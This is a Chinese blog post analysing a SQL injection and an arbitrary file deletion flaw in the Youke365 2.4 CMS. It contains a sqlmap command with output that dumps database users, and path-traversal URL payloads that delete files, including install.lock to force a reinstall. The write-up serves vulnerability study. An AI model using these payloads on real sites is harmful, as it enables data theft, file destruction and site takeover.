您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關Youke365_2_4 一處Sql注入漏洞以及一處任意文件刪除的示例分析,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
每一天都是新的一天。
沒啥吐槽的,步入正題
$root_id = intval(trim($_POST['root_id'])); $cate_name = trim($_POST['cate_name']); $cate_dir = trim($_POST['cate_dir']); $cate_url = trim($_POST['cate_url']); $cate_isbest = intval($_POST['cate_isbest']); $cate_order = intval($_POST['cate_order']); $cate_keywords = trim($_POST['cate_keywords']); $cate_description = trim($_POST['cate_description']);
if ($action == 'saveadd') { $query = $DB->query("SELECT cate_id FROM $table WHERE root_id='$root_id' AND cate_name='$cate_name'"); if ($DB->num_rows($query)) { msgbox('您所添加的分類已存在!'); } $DB->insert($table, $data); update_categories(); update_cache('categories'); $fileurl = empty($root_id) ? $fileurl .= '?act=add' : $fileurl .= '?act=add&root_id='.$root_id; msgbox('分類添加成功!', $fileurl); } elseif ($action == 'saveedit') { $cate_id = intval($_POST['cate_id']); $where = array('cate_id' => $cate_id);
首先我們需要直到,注意看$cate_name,從POST獲取參數然后去掉空格。
然后$action獲取到的參數為saveadd的時候先把$cate_name帶入查詢。
判斷數據庫是否存在這個名字,如果滿足條件則進入msgbox('您所添加的分類已存在!');
沒滿足條件則添加。
注意第20行代碼,我們可以肯定,他肯定是先通過一次sql語句進行查詢。
報錯了,沒有關系,我們開啟mysql監測看一下是否有帶入sql查詢
SELECT cate_id FROM dir_categories WHERE root_id='1' AND cate_name='aaaa' and 1=1 --'
考慮到可能會因為時間過長導致cookie失效,所以建議直接使用--tech參數來指定一下注入類型。
sqlmap -r "/mnt/d/test.txt" -p cate_name --dbms=mysql --random-agent --tech B --users
結果:
Parameter: cate_name (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: root_id=1&cate_name=aaaa' AND 6067=6067 AND 'yrhI'='yrhI&cate_dir=aaaa&cate_url=aaaa&cate_keywords=aaaa&cate_description=aaa&cate_order=0&act=saveadd---[17:58:46] [INFO] testing MySQL [17:58:46] [INFO] confirming MySQL [17:58:46] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: PHP 5.4.45, Apache 2.4.23 back-end DBMS: MySQL >= 5.0.0 [17:58:46] [INFO] fetching database users [17:58:46] [INFO] fetching number of database users [17:58:46] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [17:58:46] [INFO] retrieved: 3[17:59:28] [INFO] retrieved: 'root'@'localhost'[18:10:25] [INFO] retrieved: 'root'@'127.0.0.1'[18:22:37] [INFO] retrieved: 'root'@'::1'database management system users [3]: 'root'@'127.0.0.1' 'root'@'::1' 'root'@'localhost'
當然,在獲取數據的時候也有可能會導致cookie失效,但是后臺沒有驗證碼。
當我們得知后臺賬號密碼的情況下,完全可以造個輪子。
因為比較懶,就暫時不寫poc了。
if ($action == 'delete') { $bakfile = trim($_GET['file']); $filepath = $DBak->datadir.$bakfile; if (unlink($filepath)) { msgbox('文件刪除成功!', $fileurl.'?act=restore'); } else { msgbox('文件刪除失敗!'); } }
OK,我們繼續看第158行
首先他從get獲取file參數,然后在去掉兩邊的空格存入$bakfile中
然后拼接文件地址,這里用了datadir,我們跟過去看一下。
public function __construct($db_host, $db_user, $db_pass, $db_name, $charset = 'utf8') { $this->connect($db_host, $db_user, $db_pass, $db_name, $charset);//連接數據 $this->datadir = ROOT_PATH.'data/dbbak/'; }
文件成功刪除,可能有小伙伴會問了,這沒達到任意文件刪除的目的。
這只是刪除掉了指定目錄的任意文件。
所以,我們需要刪除掉其他目錄的文件。
利用../往上跳目錄,例如我想刪除根目錄的文件就需要跳兩次
payload: system/database.php?act=delete&file=../../a.txt
OK,可能會有小伙伴會覺得任意文件刪除沒有啥意義。
接下來我們繼續看。
//判斷是否已經安裝過if (file_exists(ROOT_PATH.'data/install.lock')) { failure('你已經安裝過本系統!<br />如果還繼續安裝,請先刪除data/install.lock,再繼續'); }
首先在cms重裝前,會判斷是否有data/install.lock文件,如果有則不進去后面的代碼。
沒有則開始進行重裝。
那么我們只需要刪除掉data/install就好了
payload : system/database.php?act=delete&file=../../data/install.lock
就可以達到重裝。
因為重裝會導致站點會癱瘓,所以不建議各位重裝,以及刪除任何文件。
關于Youke365_2_4 一處Sql注入漏洞以及一處任意文件刪除的示例分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。